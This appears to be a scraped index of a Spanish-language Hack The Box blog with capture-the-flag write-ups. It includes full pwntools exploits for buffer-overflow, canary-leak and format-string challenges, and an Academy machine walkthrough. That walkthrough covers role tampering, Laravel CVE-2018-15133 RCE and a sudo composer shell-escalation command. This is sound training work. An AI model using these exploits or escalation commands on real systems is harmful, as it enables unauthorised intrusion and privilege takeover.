https://www.geeksforgeeks.org/python/python-os-path-basename-method/ https://www.sourcery.ai/vulnerabilities/javascript-lang-security-audit-path-traversal-path-join-resolve-traversal https://dev.to/golam_mostafa/securing-file-paths-preventing-directory-traversal-attacks-1hk9 https://medium.com/h7w/path-traversal-and-remediation-in-javascript-fbe8f4f95c26 ","date":"24 noviembre 2025","externalUrl":null,"permalink":"/htb/challenges/resourcehub-core/","section":"Hack The Box","summary":"","title":"Resourcehub Core","type":"challenges"},{"content":"","date":"24 noviembre 2025","externalUrl":null,"permalink":"/tags/sanitizacion/","section":"Tags","summary":"","title":"Sanitizacion","type":"tags"},{"content":"","date":"24 noviembre 2025","externalUrl":null,"permalink":"/tags/secure-coding/","section":"Tags","summary":"","title":"Secure-Coding","type":"tags"},{"content":" Análisis # El reto consiste en analizar una cadena de datos que simula tráfico exfiltrado desde nodos TOR sospechosos asociados con la infraestructura APT del Imperio de Volnaya. El objetivo es detectar y evaluar indicadores de compromiso mediante la búsqueda de palabras clave específicas vinculadas con patrones de ataque de la Operación Blackout.\nCada palabra clave tiene un peso asociado que representa su nivel de amenaza. El cálculo del puntaje de amenaza se realiza multiplicando la cantidad de ocurrencias de cada palabra clave por su peso, y sumando todos esos productos. Así, se identifica la gravedad del riesgo en el flujo de datos. La cadena de datos incluye solo letras minúsculas y dígitos.\nEl problema requiere optimizar la identificación y el conteo de palabras clave dentro de una cadena potencialmente muy grande (hasta un millón de caracteres), considerando que las palabras pueden solaparse o aparecer múltiples veces.\nCódigo # La solución planteada es clara y directa:\nLeer la cadena de datos de entrada. Mantener una lista con las palabras clave y un diccionario con sus pesos. Iterar sobre cada palabra clave, contar cuántas veces aparece en la cadena de datos y multiplicar ese conteo por su peso. Sumar todos los valores para obtener el puntaje final. Imprimir el puntaje total. Este enfoque utiliza la función count para contar ocurrencias de cadena, lo que es eficiente para strings de tamaño considerable en Python.\n# take in the number n = input() # calculate answer f = [\u0026#34;scan\u0026#34;, \u0026#34;response\u0026#34;, \u0026#34;control\u0026#34;, \u0026#34;callback\u0026#34;, \u0026#34;implant\u0026#34;, \u0026#34;zombie\u0026#34;, \u0026#34;trigger\u0026#34;, \u0026#34;infected\u0026#34;, \u0026#34;compromise\u0026#34;, \u0026#34;inject\u0026#34;, \u0026#34;execute\u0026#34;, \u0026#34;deploy\u0026#34;, \u0026#34;malware\u0026#34;, \u0026#34;exploit\u0026#34;, \u0026#34;payload\u0026#34;, \u0026#34;backdoor\u0026#34;, \u0026#34;zeroday\u0026#34;, \u0026#34;botnet\u0026#34;] g = {\u0026#34;scan\u0026#34;:1, \u0026#34;response\u0026#34;:2, \u0026#34;control\u0026#34;:3, \u0026#34;callback\u0026#34;:4, \u0026#34;implant\u0026#34;:5, \u0026#34;zombie\u0026#34;:6, \u0026#34;trigger\u0026#34;:7, \u0026#34;infected\u0026#34;:8, \u0026#34;compromise\u0026#34;:9, \u0026#34;inject\u0026#34;:10, \u0026#34;execute\u0026#34;:11, \u0026#34;deploy\u0026#34;:12, \u0026#34;malware\u0026#34;:13, \u0026#34;exploit\u0026#34;:14, \u0026#34;payload\u0026#34;:15, \u0026#34;backdoor\u0026#34;:16, \u0026#34;zeroday\u0026#34;:17, \u0026#34;botnet\u0026#34;:18} r = 0 for i in f: if n.count(i) \u0026gt; 0: r = r + (n.count(i) * (g[i])) # print answer print(r) Referencias # https://ellibrodepython.com/diccionarios-en-python https://keepcoding.io/blog/que-es-str-count-en-python-y-como-funciona/#:~:text=%C2%BFQu%C3%A9%20es%20str.,valor%20aparece%20en%20la%20cadena. ","date":"24 noviembre 2025","externalUrl":null,"permalink":"/htb/challenges/threat-index/","section":"Hack The Box","summary":"","title":"Threat Index","type":"challenges"},{"content":"","date":"23 noviembre 2025","externalUrl":null,"permalink":"/tags/buffer-overflow/","section":"Tags","summary":"","title":"Buffer-Overflow","type":"tags"},{"content":"","date":"23 noviembre 2025","externalUrl":null,"permalink":"/tags/buffer-overread/","section":"Tags","summary":"","title":"Buffer-Overread","type":"tags"},{"content":"","date":"23 noviembre 2025","externalUrl":null,"permalink":"/tags/canary-leak/","section":"Tags","summary":"","title":"Canary-Leak","type":"tags"},{"content":"","date":"23 noviembre 2025","externalUrl":null,"permalink":"/tags/canary-protection/","section":"Tags","summary":"","title":"Canary-Protection","type":"tags"},{"content":" Protecciones # Análisis # El exploit aprovecha una vulnerabilidad de desbordamiento de búfer (“buffer overflow”) en el binario analizado. La ausencia de protección ‘stack canary’ permite que el atacante sobrescriba libremente el valor de retorno de una función en la pila. Gracias a que el binario tampoco utiliza protección PIE, la dirección de memoria de las funciones es estática y conocida, facilitando la predictibilidad en el exploit.​\nEl ataque consiste en enviar una cadena de 56 caracteres (‘A’ * 56) para llenar el búfer vulnerable y, a continuación, sobrescribir el ‘return address’ con la dirección de una función o gadget útil para el atacante (en este caso, 0x4016b7). El exploit automatiza este proceso usando Pwntools, logrando que el flujo de ejecución salte a la dirección deseada y alterando el comportamiento esperado del programa.​\nEn resumen, el atacante utiliza el desbordamiento de búfer para tomar el control del flujo de ejecución debido a la falta de canary y PIE, y la técnica es viable porque NX solo impide la ejecución directamente en la pila, pero no bloquea ataques ROP (‘Return Oriented Programming’).\nExploit # from pwn import * # Allows you to switch between local/GDB/remote from terminal def start(argv=[], *a, **kw): if args.GDB: # Set GDBscript below return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw) elif args.REMOTE: # (\u0026#39;server\u0026#39;, \u0026#39;port\u0026#39;) return remote(sys.argv[1], sys.argv[2], *a, **kw) else: # Run locally return process([exe] + argv, *a, **kw) # Specify GDB script here (breakpoints etc) gdbscript = \u0026#39;\u0026#39;\u0026#39; init-pwndbg continue \u0026#39;\u0026#39;\u0026#39;.format(**locals()) # Set up pwntools for the correct architecture exe = \u0026#39;./el_mundo\u0026#39; # This will automatically get context arch, bits, os etc elf = context.binary = ELF(exe, checksec=True) # Change logging level to help with debugging (error/warning/info/debug) context.log_level = \u0026#39;debug\u0026#39; # =========================================================== # EXPLOIT GOES HERE # =========================================================== ## En caso de querer hacer una conexión Remota #python3 exploit.py REMOTE IP PORT p = start() payload = b\u0026#39;A\u0026#39; * 56 + p64(0x4016b7) p.sendlineafter(b\u0026#34;\u0026gt;\u0026#34;, payload) print(p.recv()) p.interactive() ","date":"23 noviembre 2025","externalUrl":null,"permalink":"/htb/challenges/elmundo/","section":"Hack The Box","summary":"","title":"El Mundo","type":"challenges"},{"content":"El código presentado es vulnerable a un ataque de buffer overflow. Aquí tienes una explicación paso a paso, ideal para un write up técnico y claro sobre el funcionamiento, la vulnerabilidad y cómo se explota para leer la flag en lugar de causar un segmentation fault.\nAnálisis del Código # int __fastcall main(int argc, const char **argv, const char **envp) { _QWORD buf[5]; // [rsp+0h] [rbp-30h] BYREF char v5; // [rsp+2Fh] [rbp-1h] memset(buf, 0, 32); v5 = 1; read(0, buf, 0x40u); if ( v5 == 1 ) { fwrite(\u0026#34;Not scary enough.. Boo! :(\u0026#34;, 1u, 0x1Au, stdout); fflush(stdout); } else { read_flag(); } return 0; } Paso a paso del funcionamiento # Se declara un buffer buf como un arreglo de 5 elementos tipo _QWORD, que equivale a 5 x 8 = 40 bytes (en sistemas de 64 bits). Se declara una variable local char v5. El buffer se inicializa en cero con memset. Luego, v5 se establece en 1. La función read(0, buf, 0x40u); lee hasta 64 bytes desde la entrada estándar y los coloca en el buffer buf. El programa luego consulta si v5 sigue siendo igual a 1; si es así, imprime un mensaje. Si no, llama a read_flag() (que asume lee y muestra la flag). Identificación de la Vulnerabilidad # El tamaño del buffer es de 40 bytes, pero el read permite escribir hasta 64 bytes. Cualquier dato que sobrepase los primeros 40 bytes sobrescribirá variables que estén a continuación en la pila (stack), como v5. En la estructura del stack, \u0026ldquo;buf\u0026rdquo; está antes en memoria que \u0026ldquo;v5\u0026rdquo;. Así, los bytes extra sobreescriben \u0026ldquo;v5\u0026rdquo; y potencialmente variables más allá. Aprovechamiento del Buffer Overflow # Si el atacante escribe 41 bytes (40 para llenar el buffer y 1 byte más), ese byte adicional sobrescribirá el valor de v5. Si el nuevo valor de v5 es distinto de 1 (por ejemplo, 0x00 o cualquier otro valor), se ejecutará la rama del else, provocando la llamada a read_flag() en vez de imprimir el mensaje. De esta forma, es posible controlar el flujo del programa y acceder a la flag: simplemente proporciona como entrada 40 bytes de \u0026ldquo;padding\u0026rdquo; (cualquier valor) y el byte 41 debe ser diferente de 1. ","date":"23 noviembre 2025","externalUrl":null,"permalink":"/htb/challenges/el-pipo/","section":"Hack The Box","summary":"","title":"El Pipo","type":"challenges"},{"content":"","date":"23 noviembre 2025","externalUrl":null,"permalink":"/tags/format-strings/","section":"Tags","summary":"","title":"Format-Strings","type":"tags"},{"content":"","date":"23 noviembre 2025","externalUrl":null,"permalink":"/tags/little-endian-conversion/","section":"Tags","summary":"","title":"Little-Endian-Conversion","type":"tags"},{"content":" Protecciones # Funciones # duckling: # unsigned __int64 duckling() { char *v1; // [rsp+8h] [rbp-88h] _QWORD buf[4]; // [rsp+10h] [rbp-80h] BYREF _QWORD v3[11]; // [rsp+30h] [rbp-60h] BYREF unsigned __int64 v4; // [rsp+88h] [rbp-8h] v4 = __readfsqword(0x28u); memset(buf, 0, sizeof(buf)); memset(v3, 0, 80); printf(\u0026#34;Quack the Duck!\\n\\n\u0026gt; \u0026#34;); fflush(stdout); read(0, buf, 0x66u); v1 = strstr((const char *)buf, \u0026#34;Quack Quack \u0026#34;); if ( !v1 ) { error(\u0026#34;Where are your Quack Manners?!\\n\u0026#34;); exit(1312); } printf(\u0026#34;Quack Quack %s, ready to fight the Duck?\\n\\n\u0026gt; \u0026#34;, v1 + 0x20); read(0, v3, 0x6Au); puts(\u0026#34;Did you really expect to win a fight against a Duck?!\\n\u0026#34;); return v4 - __readfsqword(0x28u); } Esta es la función principal que se ejecuta constantemente, en el primer dato que nos pide tiene que estar siempre la cadena Quack Quack para poder pasar el primer \u0026lsquo;filtro\u0026rsquo; después de esto esta presente una vulnerabilidad del tipo Buffer Overread lo que va a pasar es que va a imprimir los datos que estén 20 bytes después. Luego sin importar que muestra una cadena de texto quemada.\nduck_attack: # unsigned __int64 duck_attack() { char buf; // [rsp+3h] [rbp-Dh] BYREF int fd; // [rsp+4h] [rbp-Ch] unsigned __int64 v3; // [rsp+8h] [rbp-8h] v3 = __readfsqword(0x28u); fd = open(\u0026#34;./flag.txt\u0026#34;, 0); if ( fd \u0026lt; 0 ) { perror(\u0026#34;\\nError opening flag.txt, please contact an Administrator\\n\u0026#34;); exit(1); } while ( read(fd, \u0026amp;buf, 1u) \u0026gt; 0 ) fputc(buf, stdout); close(fd); return v3 - __readfsqword(0x28u); } Esta función va a ser nuestro win es la función a la que vamos a apuntar al tratar de hacer el buffer overflow.\nAnálisis # Usando PWNDBG establecemos un breakpoint en main y llegamos a la instrucción donde nos pide la primera cadena para que justo después de esto podemos revisar los registros de la siguiente forma:\nLo que podemos observar es que estamos escribiendo justo antes del canario 80 bytes antes sabemos que con la vulnerabilidad del format string leemos lo que este 20 por lo que tenemos que escribir en el byte 60 pero toca tener en cuenta el enter por lo que lo haríamos en el 59 que en decimal es 89.\nLeak del canario # from pwn import * def start(argv=[], *a, **kw): if args.GDB: # Set GDBscript below return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw) elif args.REMOTE: # (\u0026#39;server\u0026#39;, \u0026#39;port\u0026#39;) return remote(sys.argv[1], sys.argv[2], *a, **kw) else: # Run locally return process([exe] + argv, *a, **kw) gdbscript = \u0026#34;\u0026#34;\u0026#34; init-pwndbg continue \u0026#34;\u0026#34;\u0026#34;.format( **locals() ) exe = \u0026#34;./quack_quack\u0026#34; elf = context.binary = ELF(exe, checksec=True) context.log_level = \u0026#34;debug\u0026#34; ### EXPLOIT ### p = start() payload = b\u0026#34;A\u0026#34; * 89 + b\u0026#34;Quack Quack \u0026#34; p.sendlineafter(b\u0026#34;\u0026gt;\u0026#34;, payload) p.recvuntil(b\u0026#34;Quack Quack \u0026#34;) canary = (u64(p.recv(7).rjust(8, b\u0026#39;\\x00\u0026#39;))) Lo que hace esta parte es escribir el Quack Quack en el byte 59 que en decimal es 89 de forma que muestre el canario, y lo guardamos en la variable canary quitando el formato little endian de forma que nos de un int para luego poder mandarlo de forma correcta con la payload esto lo hace recibiendo primero el mensaje Quack Quack y luego recibiendo los siguientes 7 bytes luego restaura el \\x00 clásico del canario y ubicándolo al inicio para convertirlo en int.\nLuego de probar esto tenemos que hallar el offset hasta la posición de retorno para esto con PWNDBG vamos a hacer lo mismo que con el primer ingreso de datos solo que para el segundo:\nVemos que para sobrescribir el canario tenemos que usar 58 Bytes que en decimal son 88, además la posición de retorno va justo después del canario por lo que después de sobreescribir el canario tenemos que sobrescribir con la dirección de nuestro win que en este caso es 0x40137f:\np = start() payload = b\u0026#34;A\u0026#34; * 89 + b\u0026#34;Quack Quack \u0026#34; p.sendlineafter(b\u0026#34;\u0026gt;\u0026#34;, payload) p.recvuntil(b\u0026#34;Quack Quack \u0026#34;) canary = (u64(p.recv(7).rjust(8, b\u0026#39;\\x00\u0026#39;))) print(p64(canary)) payload = b\u0026#39;A\u0026#39; * 88 + p64(canary) + p64(0x40137f) p.sendlineafter(b\u0026#39;\u0026gt;\u0026#39;, payload) p.interactive() Pero si ejecutamos esto no funciona no nos da la flag, pero tampoco nos salta la alerta de que estamos ejecutando un buffer overflow por lo que lo que puede estar fallando es que el stack no este alineado para esto vamos a agregar de a múltiplos 8 bytes afortunadamente con solo 8 bytes funciono y alineamos el stack.\nEn x86_64, muchas funciones asumen que el stack está alineado a 16 bytes cuando se hace call. Al hacer un ret2win directo (\u0026hellip; + p64(canary) + p64(0x40137f)), puedes dejar el stack desalineado y provocar crashes internos al añadir 8 bytes extra antes de la dirección de duck_attack, ajustas el valor de RSP y restauras la alineación requerida, por eso el exploit pasa a funcionar.\nExploit # from pwn import * def start(argv=[], *a, **kw): if args.GDB: return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw) elif args.REMOTE: return remote(sys.argv[1], sys.argv[2], *a, **kw) else: return process([exe] + argv, *a, **kw) gdbscript = \u0026#34;\u0026#34;\u0026#34; init-pwndbg continue \u0026#34;\u0026#34;\u0026#34;.format( **locals() ) exe = \u0026#34;./quack_quack\u0026#34; elf = context.binary = ELF(exe, checksec=True) context.log_level = \u0026#34;debug\u0026#34; # =========================================================== # EXPLOIT GOES HERE # =========================================================== p = start() payload = b\u0026#34;A\u0026#34; * 89 + b\u0026#34;Quack Quack \u0026#34; p.sendlineafter(b\u0026#34;\u0026gt;\u0026#34;, payload) p.recvuntil(b\u0026#34;Quack Quack \u0026#34;) canary = (u64(p.recv(7).rjust(8, b\u0026#39;\\x00\u0026#39;))) print(p64(canary)) payload = b\u0026#39;A\u0026#39; * 88 + p64(canary) + b\u0026#39;loaxert \u0026#39; + p64(0x40137f) p.sendlineafter(b\u0026#39;\u0026gt;\u0026#39;, payload) p.interactive() Referencias # https://medium.com/@ndsetobol/stack-alignment-bb7e562c4e1e ","date":"23 noviembre 2025","externalUrl":null,"permalink":"/htb/challenges/quack-quack/","section":"Hack The Box","summary":"","title":"Quack Quack","type":"challenges"},{"content":" Protecciones # Funciones # main # int __cdecl main(int argc, const char **argv, const char **envp) { int v3; // eax unsigned int v5; // [esp+0h] [ebp-Ch] v5 = __readgsdword(0x14u); setup(); banner(); info(); while ( check ) { v3 = menu(); if ( v3 == 1 ) { car_info(); } else if ( v3 == 2 ) { check = 0; car_menu(); } else { printf(\u0026#34;\\n%s[-] Invalid choice!%s\\n\u0026#34;, \u0026#34;\\x1B[1;31m\u0026#34;, \u0026#34;\\x1B[1;36m\u0026#34;); } } return __readgsdword(0x14u) ^ v5; } Info # unsigned int info() { void *buf; // [esp+4h] [ebp-14h] char *s; // [esp+8h] [ebp-10h] unsigned int v3; // [esp+Ch] [ebp-Ch] v3 = __readgsdword(0x14u); buf = malloc(0x20u); s = (char *)malloc(0x20u); printf(\u0026#34;\\n%sInsert your data:\\n\\n\u0026#34;, \u0026#34;\\x1B[1;36m\u0026#34;); printf(\u0026#34;Name: \u0026#34;); read(0, buf, 0x1Fu); *((_BYTE *)buf + strlen((const char *)buf) - 1) = 0; printf(\u0026#34;Nickname: \u0026#34;); read(0, s, 0x1Fu); s[strlen(s) - 1] = 0; printf( \u0026#34;\\n%s[+] Welcome [%s%s%s]!\\n\\n%s[*] Your name is [%s%s%s] but everybody calls you.. [%s%s%s]!\u0026#34;, \u0026#34;\\x1B[1;32m\u0026#34;, \u0026#34;\\x1B[1;33m\u0026#34;, buf, \u0026#34;\\x1B[1;32m\u0026#34;, \u0026#34;\\x1B[1;36m\u0026#34;, \u0026#34;\\x1B[1;33m\u0026#34;, buf, \u0026#34;\\x1B[1;36m\u0026#34;, \u0026#34;\\x1B[1;33m\u0026#34;, s, \u0026#34;\\x1B[1;36m\u0026#34;); printf(\u0026#34;\\n[*] Current coins: [%d]\\n\u0026#34;, coins); return __readgsdword(0x14u) ^ v3; } car_menu # int car_menu() { time_t v0; // eax size_t i; // eax size_t v2; // edx int result; // eax int v4; // [esp+0h] [ebp-58h] int v5; // [esp+0h] [ebp-58h] int v6; // [esp+4h] [ebp-54h] int v7; // [esp+4h] [ebp-54h] unsigned int v8; // [esp+8h] [ebp-50h] int v9; // [esp+Ch] [ebp-4Ch] int v10; // [esp+10h] [ebp-48h] void *buf; // [esp+18h] [ebp-40h] FILE *stream; // [esp+1Ch] [ebp-3Ch] char v13[44]; // [esp+20h] [ebp-38h] BYREF unsigned int v14; // [esp+4Ch] [ebp-Ch] v14 = __readgsdword(0x14u); v4 = -1; v6 = -1; do { printf(aSelectCar1); v9 = read_int(v4, v6); if ( v9 != 2 \u0026amp;\u0026amp; v9 != 1 ) printf(\u0026#34;\\n%s[-] Invalid choice!%s\\n\u0026#34;, \u0026#34;\\x1B[1;31m\u0026#34;, \u0026#34;\\x1B[1;36m\u0026#34;); } while ( v9 != 2 \u0026amp;\u0026amp; v9 != 1 ); v10 = race_type(); v0 = time(0); srand(v0); if ( v9 == 1 \u0026amp;\u0026amp; v10 == 2 || v9 == 2 \u0026amp;\u0026amp; v10 == 2 ) { v5 = rand() % 10; v7 = rand() % 100; } else if ( v9 == 1 \u0026amp;\u0026amp; v10 == 1 || v9 == 2 \u0026amp;\u0026amp; v10 == 1 ) { v5 = rand() % 100; v7 = rand() % 10; } else { v5 = rand() % 100; v7 = rand() % 100; } v8 = 0; for ( i = strlen(\u0026#34;\\n[*] Waiting for the race to finish...\u0026#34;); ; i = strlen(\u0026#34;\\n[*] Waiting for the race to finish...\u0026#34;) ) { v2 = i; result = v8; if ( v2 \u0026lt;= v8 ) break; putchar(aWaitingForTheR[v8]); if ( aWaitingForTheR[v8] == 46 ) sleep(0); ++v8; } if ( v9 == 1 \u0026amp;\u0026amp; (result = v5, v5 \u0026lt; v7) || v9 == 2 \u0026amp;\u0026amp; (result = v5, v5 \u0026gt; v7) ) { printf(\u0026#34;%s\\n\\n[+] You won the race!! You get 100 coins!\\n\u0026#34;, \u0026#34;\\x1B[1;32m\u0026#34;); coins += 100; printf(\u0026#34;[+] Current coins: [%d]%s\\n\u0026#34;, coins, \u0026#34;\\x1B[1;36m\u0026#34;); printf(\u0026#34;\\n[!] Do you have anything to say to the press after your big victory?\\n\u0026gt; %s\u0026#34;, \u0026#34;\\x1B[0m\u0026#34;); buf = malloc(0x171u); stream = fopen(\u0026#34;flag.txt\u0026#34;, \u0026#34;r\u0026#34;); if ( !stream ) { printf(\u0026#34;%s[-] Could not open flag.txt. Please contact the creator.\\n\u0026#34;, \u0026#34;\\x1B[1;31m\u0026#34;); exit(105); } fgets(v13, 44, stream); read(0, buf, 0x170u); puts(\u0026#34;\\n\\x1B[3mThe Man, the Myth, the Legend! The grand winner of the race wants the whole world to know this: \\x1B[0m\u0026#34;); return printf((const char *)buf); } else if ( v9 == 1 \u0026amp;\u0026amp; (result = v5, v5 \u0026gt; v7) || v9 == 2 \u0026amp;\u0026amp; (result = v5, v5 \u0026lt; v7) ) { printf(\u0026#34;%s\\n\\n[-] You lost the race and all your coins!\\n\u0026#34;, \u0026#34;\\x1B[1;31m\u0026#34;); coins = 0; return printf(\u0026#34;[+] Current coins: [%d]%s\\n\u0026#34;, 0, \u0026#34;\\x1B[1;36m\u0026#34;); } return result; } Se solicita al usuario que elija un coche (1 o 2). Luego se le solicita al usuario que elija un tipo de carrera mediante una llamada a race_type() (de nuevo, 1 o 2). Dependiendo de qué combinación de coche y tipo de carrera se seleccione, iVar1 y el racetype Las variables se deciden aleatoriamente en función de algún módulo matemático. Exactamente qué valores de módulo se utilizan diferirán según la combinación. Después de esto, se realiza una verificación basada en carselection, iVar1, y el racetype variables. Si se pasa, la bandera se lee en la memoria pero no se muestra en ninguna parte. Se le solicita al usuario un mensaje de victoria más. Además:\nSi carselection y racetype son 1 y 2 respectivamente, entonces racetype Es probable que sea más pequeño que iVar1. Si carselection y racetype son 2 y 1 respectivamente, entonces racetype es probable que sea mayor que iVar1. Si carselection y racetype son iguales, entonces racetype es probable que tenga un tamaño incorrecto en relación con iVar1. Análisis # La vulnerabilidad de este binario esta al momento de imprimir el mensaje al ganar la carrera, debido a que podemos atacar un format string lo que nos permite hacer un leak del stack, la forma de hallar la flag es que como se leyó en el momento en que ganamos se encuentra en el mismo stack haciendo la prueba en local con nuestra flag siendo AAAA que en hexadecimal se vería 0x41414141 entonces vamos a empezar tratando de hacer un leak de memoria:\nfrom pwn import * def start(argv=[], *a, **kw): if args.GDB: return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw) elif args.REMOTE: return remote(sys.argv[1], sys.argv[2], *a, **kw) else: return process([exe] + argv, *a, **kw) gdbscript = \u0026#34;\u0026#34;\u0026#34; init-pwndbg continue \u0026#34;\u0026#34;\u0026#34;.format( **locals() ) exe = \u0026#34;./racecar\u0026#34; elf = context.binary = ELF(exe, checksec=True) context.log_level = \u0026#34;debug\u0026#34; # =========================================================== # EXPLOIT GOES HERE # =========================================================== p = start() p.sendlineafter(b\u0026#34;Name:\u0026#34;, b\u0026#39;l\u0026#39;) p.sendlineafter(b\u0026#34;Nickname:\u0026#34;, b\u0026#39;l\u0026#39;) p.sendlineafter(b\u0026#34;\u0026gt;\u0026#34;, b\u0026#39;2\u0026#39;) p.sendlineafter(b\u0026#34;\u0026gt;\u0026#34;, b\u0026#39;2\u0026#39;) p.sendlineafter(b\u0026#34;\u0026gt;\u0026#34;, b\u0026#39;1\u0026#39;) payload = b\u0026#39;%p \u0026#39; * 20 p.sendlineafter(b\u0026#34;\u0026gt;\u0026#34;, payload) p.interactive() Si contamos las posiciones nos daremos cuenta que la flag empieza en la posición 12 por lo que la vamos a atrapar y a trata de volver al formato original:\np = start() p.sendlineafter(b\u0026#34;Name:\u0026#34;, b\u0026#39;l\u0026#39;) p.sendlineafter(b\u0026#34;Nickname:\u0026#34;, b\u0026#39;l\u0026#39;) p.sendlineafter(b\u0026#34;\u0026gt;\u0026#34;, b\u0026#39;2\u0026#39;) p.sendlineafter(b\u0026#34;\u0026gt;\u0026#34;, b\u0026#39;2\u0026#39;) p.sendlineafter(b\u0026#34;\u0026gt;\u0026#34;, b\u0026#39;1\u0026#39;) payload = b\u0026#39;%p\u0026#39; * 11 + b\u0026#39;flag: \u0026#39; + b\u0026#39;%p\u0026#39;*1 p.sendlineafter(b\u0026#34;\u0026gt;\u0026#34;, payload) p.recvuntil(b\u0026#39;flag: 0x\u0026#39;) flag_real = \u0026#39;\u0026#39; for i in range(2): flag = p.recvuntil(\u0026#39;0x\u0026#39;) flag = flag[:-2] flag_hex_str = flag.decode() try: # Convertimos hex a bytes reales raw_bytes = bytes.fromhex(flag_hex_str) raw_bytes = raw_bytes[::-1] # Decodificamos a ASCII, ignorando caracteres no imprimibles ascii_flag = raw_bytes.decode(\u0026#39;ascii\u0026#39;, errors=\u0026#39;ignore\u0026#39;) except Exception as e: ascii_flag = \u0026#34;\u0026lt;error decoding\u0026gt;\u0026#34; flag_real = flag_real + ascii_flag print(f\u0026#39;flag: {flag_real}\u0026#39;) p.close() Primero lo probé con la flag local que es AAAA que solo ocupa un leak de memoria:\nLuego cuando lo hice en remoto fui aumentando la cantidad de leaks y el número del range en el for hasta que se obtuvo la flag al completo.\nExploit # from pwn import * def start(argv=[], *a, **kw): if args.GDB: return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw) elif args.REMOTE: return remote(sys.argv[1], sys.argv[2], *a, **kw) else: return process([exe] + argv, *a, **kw) gdbscript = \u0026#34;\u0026#34;\u0026#34; init-pwndbg continue \u0026#34;\u0026#34;\u0026#34;.format( **locals() ) exe = \u0026#34;./racecar\u0026#34; elf = context.binary = ELF(exe, checksec=True) context.log_level = \u0026#34;debug\u0026#34; # =========================================================== # EXPLOIT GOES HERE # =========================================================== p = start() p.sendlineafter(b\u0026#34;Name:\u0026#34;, b\u0026#39;l\u0026#39;) p.sendlineafter(b\u0026#34;Nickname:\u0026#34;, b\u0026#39;l\u0026#39;) p.sendlineafter(b\u0026#34;\u0026gt;\u0026#34;, b\u0026#39;2\u0026#39;) p.sendlineafter(b\u0026#34;\u0026gt;\u0026#34;, b\u0026#39;2\u0026#39;) p.sendlineafter(b\u0026#34;\u0026gt;\u0026#34;, b\u0026#39;1\u0026#39;) payload = b\u0026#39;%p\u0026#39; * 11 + b\u0026#39;flag: \u0026#39; + b\u0026#39;%p\u0026#39;*12 p.sendlineafter(b\u0026#34;\u0026gt;\u0026#34;, payload) p.recvuntil(b\u0026#39;flag: 0x\u0026#39;) flag_real = \u0026#39;\u0026#39; for i in range(11): flag = p.recvuntil(\u0026#39;0x\u0026#39;) flag = flag[:-2] flag_hex_str = flag.decode() try: # Convertimos hex a bytes reales raw_bytes = bytes.fromhex(flag_hex_str) raw_bytes = raw_bytes[::-1] # Decodificamos a ASCII, ignorando caracteres no imprimibles ascii_flag = raw_bytes.decode(\u0026#39;ascii\u0026#39;, errors=\u0026#39;ignore\u0026#39;) except Exception as e: ascii_flag = \u0026#34;\u0026lt;error decoding\u0026gt;\u0026#34; flag_real = flag_real + ascii_flag print(f\u0026#39;flag: {flag_real}\u0026#39;) p.close() Referencias # https://medium.com/@n80fr1n60/format-string-vulnerabilities-explained-from-the-bottom-up-for-32-bit-linux-part-1-3a1c4ca0dff https://blog.finxter.com/python-hex-string-to-little-endian-bytes-integer/ https://stackoverflow.com/questions/74018415/converting-hex-to-little-endian-in-python ","date":"23 noviembre 2025","externalUrl":null,"permalink":"/htb/challenges/racecar/","section":"Hack The Box","summary":"","title":"racecar","type":"challenges"},{"content":"","date":"23 noviembre 2025","externalUrl":null,"permalink":"/tags/ret2win/","section":"Tags","summary":"","title":"Ret2win","type":"tags"},{"content":" Enumeración # nmap -p22,80,33060 -sVC -A IP PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 c0:90:a3:d8:35:25:6f:fa:33:06:cf:80:13:a0:a5:53 (RSA) | 256 2a:d5:4b:d0:46:f0:ed:c9:3c:8d:f6:5d:ab:ae:77:96 (ECDSA) |_ 256 e1:64:14:c3:cc:51:b2:3b:a6:28:a7:b1:ae:5f:45:35 (ED25519) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) |_http-title: Hack The Box Academy |_http-server-header: Apache/2.4.41 (Ubuntu) 33060/tcp open mysqlx MySQL X protocol listener Puerto 80 # Revisando la pagina web se puede saber que esta usando php:\ngobuster dir -u http://IP -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt --no-error -t 200 -x php Voy a tratar de interceptar una petición en el login que hay en admin.php para ver como se esta cargando la petición pero no encontré nada util entonces lo hice en la pagina del registro, y pude ver que al momento de mandar la petición para registrarse se puede modificar el rol:\nPor defecto viene en 0 entonces lo asigné como 1 y al momento de iniciar sesión en el panel como admin me permitió el acceso:\nAl entrar en esa URL nos encontramos con que hay una APP Laravel y esta su KEY 1:\nVemos que tener esta APP_KEY nos da la posibilidad de usar el CVE-2018-15133\nHay diferentes exploits que podemos usar para obtener ejecución remota de comandos pero me parece un ejercicio interesante hacer el nuestro propio que fue lo que hice la PoC esta presente en el siguiente GitHub\nUsuario # En el directorio root de la pagina Academy hay un archivo con nombre .env en el encontraremos unas credenciales de la base de datos que podemos reusar con el usuario cry0l1t3\nRoot # Ya con el usuario cry0l1t3 vemos que hace parte del grupo adm y podemos leer los archivos auth.log dure un rato tratando de leerlos simplemente con cat pero no logre nada al final termine encontrando que con aureport y la opción --tty nos mostraba un reporte de este archivo y podía mostrar las credenciales en texto plano.\nDespués de iniciar sesión como ese usuario verificamos nuestros permisos sudo:\nVerificando en Gtfobins encontramos que podemos escalar privilegios con la siguiente cadena de comandos:\nTF=$(mktemp -d) echo \u0026#39;{\u0026#34;scripts\u0026#34;:{\u0026#34;x\u0026#34;:\u0026#34;/bin/sh -i 0\u0026lt;\u0026amp;3 1\u0026gt;\u0026amp;3 2\u0026gt;\u0026amp;3\u0026#34;}}\u0026#39; \u0026gt;$TF/composer.json sudo composer --working-dir=$TF run-script x Referencias # https://gtfobins.github.io/gtfobins/composer/ https://www.truesec.com/hub/blog/from-s3-bucket-to-laravel-unserialize-rce https://github.com/synacktiv/laravel-crypto-killer/blob/main/laravel_crypto_killer.py https://github.com/kozmic/laravel-poc-CVE-2018-15133/blob/master/cve-2018-15133.php https://loaxert.github.io/blog/cve-2018-15133/ La APP_KEY de Laravel es un componente de seguridad crucial en una aplicación Laravel. Se trata de una clave de cifrado simétrico de 32 bytes generada aleatoriamente y codificada en base64 que Laravel utiliza para diversas operaciones 